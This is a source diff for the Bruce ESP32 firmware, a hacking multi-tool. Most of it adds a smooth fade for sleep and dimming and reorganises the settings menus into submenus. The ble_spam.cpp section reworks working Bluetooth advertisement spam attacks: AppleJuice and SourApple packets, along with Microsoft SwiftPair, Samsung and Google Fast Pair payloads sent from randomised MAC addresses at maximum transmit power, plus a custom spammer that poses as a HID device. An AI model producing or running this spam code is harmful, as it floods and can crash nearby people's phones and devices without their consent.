diff --git a/.vscode/settings.json b/.vscode/settings.json index 8f25f9f13..a718e681f 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -70,10 +70,13 @@ "*.tpp": "cpp", "condition_variable": "cpp", "mutex": "cpp", - "thread": "cpp" + "thread": "cpp", + "csignal": "cpp" }, "files.trimTrailingWhitespace": true, + "editor.trimAutoWhitespace": true, "files.insertFinalNewline": true, + "editor.autoIndent": "none", "githubPullRequests.ignoredPullRequestBranches": [ "main" diff --git a/src/core/config.cpp b/src/core/config.cpp index 2a820f040..b3e4a752f 100644 --- a/src/core/config.cpp +++ b/src/core/config.cpp @@ -13,6 +13,7 @@ JsonDocument BruceConfig::toJson() const { setting["rot"] = rotation; setting["dimmerSet"] = dimmerSet; + setting["smoothSleep"] = smoothSleep; setting["bright"] = bright; setting["tmz"] = tmz; setting["soundEnabled"] = soundEnabled; @@ -160,6 +161,12 @@ void BruceConfig::fromFile(bool checkFS) { count++; log_e("Fail"); } + if (!setting["smoothSleep"].isNull()) { + smoothSleep = setting["smoothSleep"].as(); + } else { + count++; + log_e("Fail"); + } if (!setting["bright"].isNull()) { bright = setting["bright"].as(); } else { @@ -491,6 +498,11 @@ void BruceConfig::setDimmer(int value) { saveFile(); } +void BruceConfig::setSmoothSleep(int value) { + smoothSleep = value; + saveFile(); +} + void BruceConfig::validateDimmerValue() { if (dimmerSet < 0) dimmerSet = 10; if (dimmerSet > 60) dimmerSet = 0; diff --git a/src/core/config.h b/src/core/config.h index d6c79c8b0..a0b680cea 100644 --- a/src/core/config.h +++ b/src/core/config.h @@ -47,6 +47,8 @@ class BruceConfig : public BruceTheme { int wifiAtStartup = 0; int instantBoot = 0; + bool smoothSleep = true; + // Led int ledBright = 75; uint32_t ledColor = 0; @@ -124,6 +126,7 @@ class BruceConfig : public BruceTheme { void setRotation(int value); void validateRotationValue(); void setDimmer(int value); + void setSmoothSleep(int value); void validateDimmerValue(); void setBright(uint8_t value); void validateBrightValue(); diff --git a/src/core/display.cpp b/src/core/display.cpp index b0e8ebd00..41eeaaa09 100644 --- a/src/core/display.cpp +++ b/src/core/display.cpp @@ -2,6 +2,7 @@ #include "core/wifi/webInterface.h" // for server #include "core/wifi/wg.h" //for isConnectedWireguard to print wireguard lock #include "mykeyboard.h" +#include "powerSave.h" #include "settings.h" //for timeStr #include "utils.h" #include @@ -105,18 +106,27 @@ void turnOffDisplay() { setBrightness(0, false); } bool wakeUpScreen() { previousMillis = millis(); + + // 1) Waking from full‐off (screen‐off + dimmer irrelevant) if (isScreenOff) { + // tell sleepModeOff we were fully off + sleepModeOff(bruceConfig.smoothSleep); + + // now clear both flags for next idle cycle isScreenOff = false; dimmer = false; - getBrightness(); - vTaskDelay(pdMS_TO_TICKS(200)); return true; - } else if (dimmer) { + } + // 2) Waking from dim (dimmer==true, but screen still on) + else if (dimmer) { + // tell sleepModeOff we were only dimmed + sleepModeOff(bruceConfig.smoothSleep); + + // now clear dimmer for next cycle dimmer = false; - getBrightness(); - vTaskDelay(pdMS_TO_TICKS(200)); return true; } + return false; } diff --git a/src/core/menu_items/ConfigMenu.cpp b/src/core/menu_items/ConfigMenu.cpp index 99561ca91..6f3f6c6dc 100644 --- a/src/core/menu_items/ConfigMenu.cpp +++ b/src/core/menu_items/ConfigMenu.cpp @@ -9,19 +9,31 @@ #include "core/led_control.h" #endif -void ConfigMenu::optionsMenu() { + +void displayMenu() { options = { {"Brightness", setBrightnessMenu}, {"Dim Time", setDimmerTimeMenu}, + {"Smooth Sleep", setSmoothSleepMenu}, {"Orientation", lambdaHelper(gsetRotation, true)}, + }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "Display"); +} + +void userinterfaceMenu() { + options = { {"UI Color", setUIColor}, {"UI Theme", setTheme}, - {String("InstaBoot: " + String(bruceConfig.instantBoot ? "ON" : "OFF")), - [=]() { - bruceConfig.instantBoot = !bruceConfig.instantBoot; - bruceConfig.saveFile(); - }}, -#ifdef HAS_RGB_LED + }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "User Interface"); +} + +void ledMenu() { + options = { {"LED Color", [=]() { beginLed(); @@ -37,24 +49,78 @@ void ConfigMenu::optionsMenu() { beginLed(); setLedBrightnessConfig(); }}, - {"Led Blink On/Off", setLedBlinkConfig}, -#endif - {"Sound On/Off", setSoundConfig}, + {"Led Blink On/Off", setLedBlinkConfig }, + }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "LED(s)"); +} + +void audioMenu() { + options = { + {"Sound On/Off", setSoundConfig }, #if defined(HAS_NS4168_SPKR) - {"Sound Volume", setSoundVolume}, + {"Sound Volume", setSoundVolume }, #endif - {"Startup WiFi", setWifiStartupConfig}, - {"Startup App", setStartupApp}, - {"Hide/Show Apps", []() { mainMenu.hideAppsMenu(); }}, - {"Network Creds", setNetworkCredsMenu}, - {"Clock", setClock}, + }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "Audio"); +} + +void appsMenu() { + options = { + {"Startup App", setStartupApp }, + {"Hide/Show Apps", []() { mainMenu.hideAppsMenu(); }}, + }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "Applications"); +} + +void networkMenu() { + options = { + {"Startup WiFi", setWifiStartupConfig }, + {"Network Creds", setNetworkCredsMenu }, + }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "Network"); +} + +void deviceMenu() { + options = { + {String("InstaBoot: " + String(bruceConfig.instantBoot ? "ON" : "OFF")), + [=]() { + bruceConfig.instantBoot = !bruceConfig.instantBoot; + bruceConfig.saveFile(); + }}, + {"Turn-off", powerOff}, + {"Deep Sleep", goToDeepSleep}, {"Sleep", setSleepMode}, - {"Factory Reset", [=]() { bruceConfig.factoryReset(); }}, - {"Restart", [=]() { ESP.restart(); }}, + {"Factory Reset", [=]() { bruceConfig.factoryReset(); }}, + {"Restart", [=]() { ESP.restart(); }}, }; + addOptionToMainMenu(); + + loopOptions(options, MENU_TYPE_SUBMENU, "Device"); +} + - options.push_back({"Turn-off", powerOff}); - options.push_back({"Deep Sleep", goToDeepSleep}); + +void ConfigMenu::optionsMenu() { + options = { + {"Device", deviceMenu}, + {"Display", displayMenu }, + {"User Interface", userinterfaceMenu }, +#ifdef HAS_RGB_LED + {"LED(s)", ledMenu }, +#endif + {"Audio", audioMenu }, + {"Applications", appsMenu }, + {"Network", networkMenu }, + {"Clock", setClock }, + }; if (bruceConfig.devMode) options.push_back({"Dev Mode", [=]() { devMenu(); }}); @@ -66,11 +132,11 @@ void ConfigMenu::optionsMenu() { void ConfigMenu::devMenu() { options = { - {"I2C Finder", find_i2c_addresses }, + {"I2C Finder", find_i2c_addresses }, {"CC1101 Pins", [=]() { setSPIPinsMenu(bruceConfigPins.CC1101_bus); }}, {"NRF24 Pins", [=]() { setSPIPinsMenu(bruceConfigPins.NRF24_bus); } }, {"SDCard Pins", [=]() { setSPIPinsMenu(bruceConfigPins.SDCARD_bus); }}, - {"Back", [=]() { optionsMenu(); } }, + {"Back", [=]() { optionsMenu(); } }, }; loopOptions(options, MENU_TYPE_SUBMENU, "Dev Mode"); diff --git a/src/core/powerSave.cpp b/src/core/powerSave.cpp index 52d160c96..acba803e1 100644 --- a/src/core/powerSave.cpp +++ b/src/core/powerSave.cpp @@ -1,31 +1,116 @@ #include "powerSave.h" -#include "display.h" +#include "led_control.h" #include "settings.h" -/* Check if it's time to put the device to sleep */ +// How long to wait after dimming before full sleep #define SCREEN_OFF_DELAY 5000 - -void fadeOutScreen(int startValue) { - for (int brightValue = startValue; brightValue >= 0; brightValue -= 1) { - setBrightness(max(brightValue, 0), false); - delay(5); +// Fade step delay in ms +#define FADE_STEP_DELAY 5 + +// --- Non‑blocking fade state --- +static bool isFading = false; +static unsigned long fadeStartTime = 0; +static int fadeStartDisp, fadeStartLed; +static int fadeEndDisp, fadeEndLed; +static int fadeDuration; +static bool fadingIn; + +static void fadeScreen(int startLevel, int endLevel); +static void fadeLed(int startLevel, int endLevel); + +void updatePowerSave() { + if (!isFading) return; + + unsigned long elapsed = millis() - fadeStartTime; + if (elapsed >= (unsigned long)fadeDuration) { + // final state + fadeScreen(fadeEndDisp, fadeEndDisp); +#ifdef HAS_RGB_LED + fadeLed(fadeEndLed, fadeEndLed); +#endif + + if (fadingIn) { +#ifdef HAS_RGB_LED + ledSetup(); +#endif + enableCore0WDT(); + enableCore1WDT(); + enableLoopWDT(); + feedLoopWDT(); + } else { + if (fadeEndDisp == 0) turnOffDisplay(); + } + isFading = false; + } else { + float t = (float)elapsed / fadeDuration; + int currDisp = fadeStartDisp + int((fadeEndDisp - fadeStartDisp) * t); + int currLed = fadeStartLed + int((fadeEndLed - fadeStartLed) * t); + fadeScreen(currDisp, currDisp); +#ifdef HAS_RGB_LED + fadeLed(currLed, currLed); +#endif } - turnOffDisplay(); +} + +// Single fade routines for screen and LED +static void fadeScreen(int startLevel, int endLevel) { + setBrightness(startLevel, false); + // schedule next step via updatePowerSave +} + +static void fadeLed(int startLevel, int endLevel) { +#ifdef HAS_RGB_LED + setLedBrightness(startLevel); +#endif + // schedule next step via updatePowerSave } void checkPowerSaveTime() { - if (bruceConfig.dimmerSet == 0) return; + if (bruceConfig.dimmerSet == 0 || isFading) return; unsigned long elapsed = millis() - previousMillis; - int startDimmerBright = bruceConfig.bright / 3; - int dimmerSetMs = bruceConfig.dimmerSet * 1000; + int dimDisp = bruceConfig.bright / 3; + int dimLed = bruceConfig.ledBright / 3; + unsigned long threshold = (unsigned long)bruceConfig.dimmerSet * 1000; - if (elapsed >= dimmerSetMs && !dimmer && !isSleeping) { + // fade down into dim‑mode + if (elapsed >= threshold && !dimmer && !isSleeping) { dimmer = true; - setBrightness(startDimmerBright, false); - } else if (elapsed >= (dimmerSetMs + SCREEN_OFF_DELAY) && !isScreenOff && !isSleeping) { + if (!bruceConfig.smoothSleep) { + setBrightness(dimDisp, false); +#ifdef HAS_RGB_LED + setLedBrightness(dimLed); +#endif + } else { + fadeStartTime = millis(); + fadeDuration = abs(bruceConfig.bright - dimDisp) * FADE_STEP_DELAY; + fadingIn = false; + fadeStartDisp = bruceConfig.bright; + fadeEndDisp = dimDisp; + fadeStartLed = bruceConfig.ledBright; + fadeEndLed = dimLed; + isFading = true; + } + } + // fade‑out from dim→off + else if (elapsed >= (threshold + SCREEN_OFF_DELAY) && !isScreenOff && !isSleeping) { isScreenOff = true; - fadeOutScreen(startDimmerBright); + if (!bruceConfig.smoothSleep) { + setBrightness(0, false); +#ifdef HAS_RGB_LED + setLedBrightness(0); +#endif + turnOffDisplay(); + } else { + fadeStartTime = millis(); + fadeDuration = abs(dimDisp - 0) * FADE_STEP_DELAY; + fadingIn = false; + fadeStartDisp = dimDisp; + fadeEndDisp = 0; + fadeStartLed = dimLed; + fadeEndLed = 0; + isFading = true; + } } } @@ -33,32 +118,64 @@ void sleepModeOn() { isSleeping = true; setCpuFrequencyMhz(80); - int startDimmerBright = bruceConfig.bright / 3; - - fadeOutScreen(startDimmerBright); - - - panelSleep(true); // power down screen - + int dimDisp = bruceConfig.bright / 3; + int dimLed = bruceConfig.ledBright / 3; + + if (!bruceConfig.smoothSleep) { + setBrightness(0, false); +#ifdef HAS_RGB_LED + setLedBrightness(0); +#endif + turnOffDisplay(); + } else { + fadeStartTime = millis(); + fadeDuration = abs(dimDisp - 0) * FADE_STEP_DELAY; + fadingIn = false; + fadeStartDisp = dimDisp; + fadeEndDisp = 0; + fadeStartLed = dimLed; + fadeEndLed = 0; + isFading = true; + } + panelSleep(true); disableCore0WDT(); disableCore1WDT(); disableLoopWDT(); - delay(200); } -void sleepModeOff() { +void sleepModeOff(bool fade) { + bool wasDimOnly = (dimmer && !isScreenOff); + isSleeping = false; setCpuFrequencyMhz(240); - - - panelSleep(false); // wake the screen back up - - - getBrightness(); - enableCore0WDT(); - enableCore1WDT(); - enableLoopWDT(); - feedLoopWDT(); - delay(200); + panelSleep(false); + dimmer = false; + isScreenOff = false; + + if (!fade || !bruceConfig.smoothSleep) { + setBrightness(bruceConfig.bright, false); +#ifdef HAS_RGB_LED + setLedBrightness(bruceConfig.ledBright); + ledSetup(); +#endif + enableCore0WDT(); + enableCore1WDT(); + enableLoopWDT(); + feedLoopWDT(); + } else { + int dimDisp = bruceConfig.bright / 3; + int dimLed = bruceConfig.ledBright / 3; + int startDisp = wasDimOnly ? dimDisp : 0; + int startLed = wasDimOnly ? dimLed : 0; + + fadeStartTime = millis(); + fadeDuration = abs(bruceConfig.bright - startDisp) * FADE_STEP_DELAY; + fadingIn = true; + fadeStartDisp = startDisp; + fadeEndDisp = bruceConfig.bright; + fadeStartLed = startLed; + fadeEndLed = bruceConfig.ledBright; + isFading = true; + } } diff --git a/src/core/powerSave.h b/src/core/powerSave.h index 5bb1c6136..b1235a321 100644 --- a/src/core/powerSave.h +++ b/src/core/powerSave.h @@ -3,8 +3,10 @@ void checkPowerSaveTime(); +void updatePowerSave(); + void sleepModeOn(); -void sleepModeOff(); +void sleepModeOff(bool fade = true); void fadeOutScreen(int startValue); diff --git a/src/core/settings.cpp b/src/core/settings.cpp index b67fc4b6e..348dcf313 100644 --- a/src/core/settings.cpp +++ b/src/core/settings.cpp @@ -183,6 +183,16 @@ void setDimmerTimeMenu() { }; loopOptions(options, idx); } +void setSmoothSleepMenu() { + int idx = 0; + if (bruceConfig.smoothSleep == false) idx = 0; + else if (bruceConfig.smoothSleep == true) idx = 1; + options = { + {"Off", [=]() { bruceConfig.setSmoothSleep(false); }, bruceConfig.dimmerSet == false}, + {"On", [=]() { bruceConfig.setSmoothSleep(true); }, bruceConfig.dimmerSet == true }, + }; + loopOptions(options, idx); +} /********************************************************************* ** Function: setUIColor diff --git a/src/core/settings.h b/src/core/settings.h index b656f2816..a09a73c10 100644 --- a/src/core/settings.h +++ b/src/core/settings.h @@ -27,7 +27,9 @@ void setCustomUIColorSettingMenuG(int colorType); void setCustomUIColorSettingMenuB(int colorType); -void setCustomUIColorSettingMenu(int colorType, int rgb, std::function colorGenerator); +void setCustomUIColorSettingMenu( + int colorType, int rgb, std::function colorGenerator +); void addEvilWifiMenu(); @@ -45,6 +47,8 @@ void setSleepMode(); void setDimmerTimeMenu(); +void setSmoothSleepMenu(); + void setClock(); void runClockLoop(); diff --git a/src/main.cpp b/src/main.cpp index 17fb0daf1..e0ee07e9f 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -1,12 +1,11 @@ #include "core/main_menu.h" -#include - #include "core/powerSave.h" #include "core/serial_commands/cli.h" #include "core/utils.h" #include "esp32-hal-psram.h" #include "esp_task_wdt.h" #include +#include #include #include io_expander ioExpander; @@ -52,6 +51,7 @@ void __attribute__((weak)) taskInputHandler(void *parameter) { auto timer = millis(); while (true) { checkPowerSaveTime(); + updatePowerSave(); // Sometimes this task run 2 or more times before looptask, // and navigation gets stuck, the idea here is run the input detection // if AnyKeyPress is false, or rerun if it was not renewed within 75ms (arbitrary) diff --git a/src/modules/ble/ble_spam.cpp b/src/modules/ble/ble_spam.cpp index 935e60e09..a3a1368b7 100644 --- a/src/modules/ble/ble_spam.cpp +++ b/src/modules/ble/ble_spam.cpp @@ -24,6 +24,8 @@ struct BLEData { BLEAdvertisementData ScanData; }; +BLEAdvertising *pAdvertising = nullptr; + struct WatchModel { uint8_t value; }; @@ -320,15 +322,14 @@ const WatchModel watch_models[26] = { {0x20}, // "Green Watch6 Classic 43m"}, }; -const char *generateRandomName() { - const char *charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; - int len = rand() % 10 + 1; // Generate a random length between 1 and 10 - char *randomName = (char *)malloc((len + 1) * sizeof(char)); // Allocate memory for the random name - for (int i = 0; i < len; ++i) { - randomName[i] = charset[rand() % strlen(charset)]; // Select random characters from the charset - } - randomName[len] = '\0'; // Null-terminate the string - return randomName; +std::string generateRandomName() { + const char charset[] = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + int len = rand() % 10 + 1; + std::string s; + s.reserve(len); + for (int i = 0; i < len; i++) s += charset[rand() % (sizeof(charset) - 1)]; + return s; } void generateRandomMac(uint8_t *mac) { @@ -346,76 +347,70 @@ int android_models_count = (sizeof(android_models) / sizeof(android_models[0])); // ESP32 Sour Apple by RapierXbox // Exploit by ECTO-1A -BLEAdvertising *pAdvertising; //// https://github.com/Spooks4576 BLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) { BLEAdvertisementData AdvData = BLEAdvertisementData(); - uint8_t *AdvData_Raw = nullptr; - uint8_t i = 0; - switch (Type) { case Microsoft: { - - const char *Name = generateRandomName(); - uint8_t name_len = strlen(Name); - AdvData_Raw = new uint8_t[7 + name_len]; - AdvData_Raw[i++] = 6 + name_len; - AdvData_Raw[i++] = 0xFF; - AdvData_Raw[i++] = 0x06; - AdvData_Raw[i++] = 0x00; - AdvData_Raw[i++] = 0x03; - AdvData_Raw[i++] = 0x00; - AdvData_Raw[i++] = 0x80; - memcpy(&AdvData_Raw[i], Name, name_len); - i += name_len; - - AdvData.addData(std::string((char *)AdvData_Raw, 7 + name_len)); + auto Name = generateRandomName(); + int name_len = Name.size(); + // Use std::string to handle memory automatically, avoiding raw new/delete. + std::string payload; + payload.reserve(7 + name_len); + + payload += (char)(6 + name_len); // Length + payload += (char)0xFF; // Type (Manufacturer Specific) + payload += (char)0x06; // Company ID (Microsoft) + payload += (char)0x00; + payload += (char)0x03; + payload += (char)0x00; + payload += (char)0x80; + payload += Name; // Append the random name + + AdvData.addData(payload); break; } case AppleJuice: { - int rand = random(2); - if (rand == 0) { + int rand_choice = random(2); + if (rand_choice == 0) { uint8_t packet[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, IOS1[random() % sizeof(IOS1)], 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; AdvData.addData(std::string((char *)packet, 31)); - } else if (rand == 1) { + } else { uint8_t packet[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, IOS2[random() % sizeof(IOS2)], 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; AdvData.addData(std::string((char *)packet, 23)); } - break; } case SourApple: { uint8_t packet[17]; uint8_t i = 0; - packet[i++] = 16; // Packet Length - packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) - packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) - packet[i++] = 0x00; // ... - packet[i++] = 0x0F; // Type - packet[i++] = 0x05; // Length - packet[i++] = 0xC1; // Action Flags + packet[i++] = 16; + packet[i++] = 0xFF; + packet[i++] = 0x4C; + packet[i++] = 0x00; + packet[i++] = 0x0F; + packet[i++] = 0x05; + packet[i++] = 0xC1; const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0}; - packet[i++] = types[random() % sizeof(types)]; // Action Type - esp_fill_random(&packet[i], 3); // Authentication Tag + packet[i++] = types[random() % sizeof(types)]; + esp_fill_random(&packet[i], 3); i += 3; - packet[i++] = 0x00; // ??? - packet[i++] = 0x00; // ??? - packet[i++] = 0x10; // Type ??? + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x10; esp_fill_random(&packet[i], 3); AdvData.addData(std::string((char *)packet, 17)); - break; } case Samsung: { - uint8_t model = watch_models[random(26)].value; uint8_t Samsung_Data[15] = { 0x0F, @@ -435,27 +430,26 @@ BLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) { (uint8_t)((model >> 0x00) & 0xFF) }; AdvData.addData(std::string((char *)Samsung_Data, 15)); - break; } case Google: { - const uint32_t model = android_models[rand() % android_models_count].value; // Action Type + const uint32_t model = android_models[rand() % android_models_count].value; uint8_t Google_Data[14] = { 0x03, 0x03, 0x2C, - 0xFE, // First 3 data to announce Fast Pair + 0xFE, 0x06, 0x16, 0x2C, 0xFE, (uint8_t)((model >> 0x10) & 0xFF), (uint8_t)((model >> 0x08) & 0xFF), - (uint8_t)((model >> 0x00) & 0xFF), // 6 more data to inform FastPair and device data + (uint8_t)((model >> 0x00) & 0xFF), 0x02, 0x0A, (uint8_t)((rand() % 120) - 100) - }; // 2 more data to inform RSSI data. + }; AdvData.addData(std::string((char *)Google_Data, 14)); break; } @@ -464,77 +458,49 @@ BLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType Type) { break; } } - - delete[] AdvData_Raw; - + // No longer need to delete AdvData_Raw, as it's been removed. return AdvData; } + //// https://github.com/Spooks4576 void executeSpam(EBLEPayloadType type) { uint8_t macAddr[6]; generateRandomMac(macAddr); esp_base_mac_addr_set(macAddr); - BLEDevice::init(""); - vTaskDelay(10 / portTICK_PERIOD_MS); - esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); + + // Get the advertising object pAdvertising = BLEDevice::getAdvertising(); + BLEAdvertisementData advertisementData = GetUniversalAdvertisementData(type); BLEAdvertisementData oScanResponseData = BLEAdvertisementData(); + NimBLEUUID uuid((uint32_t)(random() & 0xFFFFFF)); pAdvertising->addServiceUUID(uuid); + pAdvertising->setAdvertisementData(advertisementData); pAdvertising->setScanResponseData(oScanResponseData); + pAdvertising->start(); vTaskDelay(50 / portTICK_PERIOD_MS); - pAdvertising->stop(); - vTaskDelay(10 / portTICK_PERIOD_MS); - BLEDevice::deinit(); } void executeCustomSpam(String spamName) { // Generate random MAC address uint8_t macAddr[6]; for (int i = 0; i < 6; i++) { macAddr[i] = esp_random() & 0xFF; } - // Set the MAC address esp_base_mac_addr_set(macAddr); - // Initialize first time (helps clear the any previus spam) - BLEDevice::init("sh4rk"); - - vTaskDelay(5 / portTICK_PERIOD_MS); - - // Set to maximum power - esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); - - // Get the advertising object pAdvertising = BLEDevice::getAdvertising(); - BLEAdvertisementData advertisementData = BLEAdvertisementData(); - - // make discoverable advertisementData.setFlags(0x06); - - // add 3 random digits to the end so it doesnt get blacklisted - // String randomName = spamName + "_" + String(esp_random() % 100); //not needed since were changing mac advertisementData.setName(spamName.c_str()); - - pAdvertising->addServiceUUID(BLEUUID("1812")); // set to HID service so it seems less sus - - // Set the advertisement data + pAdvertising->addServiceUUID(BLEUUID("1812")); pAdvertising->setAdvertisementData(advertisementData); - // Start advertising pAdvertising->start(); - - // Advertise for 20ms - // TODO (implement a way to change) vTaskDelay(20 / portTICK_PERIOD_MS); - - // Stop and clean up pAdvertising->stop(); - vTaskDelay(10 / portTICK_PERIOD_MS); - BLEDevice::deinit(); } void ibeacon(char *DeviceName, char *BEACON_UUID, int ManufacturerId) { @@ -616,65 +582,61 @@ void ibeacon(char *DeviceName, char *BEACON_UUID, int ManufacturerId) { BLEDevice::deinit(); } -void aj_adv(int ble_choice) { // customSet defaults to false - int mael = 0; - int timer = 0; - int count = 0; - String spamName = ""; - if (ble_choice == 6) { spamName = keyboard("", 10, "Name to spam"); } - timer = millis(); - while (1) { - if (millis() - timer > 100) { +void aj_adv(int ble_choice) { + BLEDevice::init(""); + esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); - switch (ble_choice) { - case 0: // Applejuice - displayTextLine("Applejuice (" + String(count) + ")"); - executeSpam(AppleJuice); - break; - case 1: // SourApple - displayTextLine("SourApple (" + String(count) + ")"); - executeSpam(AppleJuice); - break; - case 2: // SwiftPair - displayTextLine("SwiftPair (" + String(count) + ")"); - executeSpam(Microsoft); - break; - case 3: // Samsung - displayTextLine("Samsung (" + String(count) + ")"); - executeSpam(Samsung); - break; - case 4: // Android - displayTextLine("Android (" + String(count) + ")"); - executeSpam(Google); - break; - case 5: // Tutti-frutti - displayTextLine("Spam All (" + String(count) + ")"); - if (mael == 0) executeSpam(Google); - if (mael == 1) executeSpam(Samsung); - if (mael == 2) executeSpam(Microsoft); - if (mael == 3) executeSpam(SourApple); - if (mael == 4) { - executeSpam(AppleJuice); - mael = 0; - } - break; - case 6: // custom - displayTextLine("Spamming " + spamName + "(" + String(count) + ")"); - executeCustomSpam(spamName); + auto adv = BLEDevice::getAdvertising(); + + // Start once with initial payload + BLEAdvertisementData data = GetUniversalAdvertisementData((EBLEPayloadType)ble_choice); + adv->setAdvertisementData(data); + adv->start(); + + int count = 0, mael = 0; + int64_t timer = millis(); + String spamName = (ble_choice == 6) + ? keyboard("", 10, "Name to spam") + : ""; + + const char* labels[] = { + "AppleJuice", + "SourApple", + "SwiftPair", + "Samsung", + "Android", + "SpamAll", + nullptr // custom will use spamName + }; + + while (!returnToMenu) { + if (millis() - timer > 100) { + BLEAdvertisementData newData; + if (ble_choice == 6) { + newData.setFlags(0x06); + newData.setName(spamName.c_str()); + } else { + EBLEPayloadType type = (EBLEPayloadType)( + ble_choice < 5 ? ble_choice + : (mael = (mael + 1) % (Google + 1)) + ); + newData = GetUniversalAdvertisementData(type); } + adv->setAdvertisementData(newData); + const char* label = (ble_choice == 6) + ? spamName.c_str() + : labels[ble_choice]; + displayTextLine( + String("Spamming ") + + String(label) + + " (" + String(count) + ")" + ); count++; timer = millis(); } - - if (check(EscPress)) { - returnToMenu = true; - break; - } + if (check(EscPress)) break; } - BLEDevice::init(""); - vTaskDelay(100 / portTICK_PERIOD_MS); - pAdvertising = nullptr; - vTaskDelay(100 / portTICK_PERIOD_MS); + adv->stop(); BLEDevice::deinit(); } diff --git a/src/modules/ble/ble_spam.h b/src/modules/ble/ble_spam.h index fc5c304cf..b4309de63 100644 --- a/src/modules/ble/ble_spam.h +++ b/src/modules/ble/ble_spam.h @@ -5,5 +5,9 @@ #include #include #include + void aj_adv(int ble_choice); -void ibeacon(char* DeviceName="Bruce iBeacon", char* BEACON_UUID="8ec76ea3-6668-48da-9866-75be8bc86f4d", int ManufacturerId=0x4C00); +void ibeacon( + char *DeviceName = "Bruce iBeacon", char *BEACON_UUID = "8ec76ea3-6668-48da-9866-75be8bc86f4d", + int ManufacturerId = 0x4C00 +);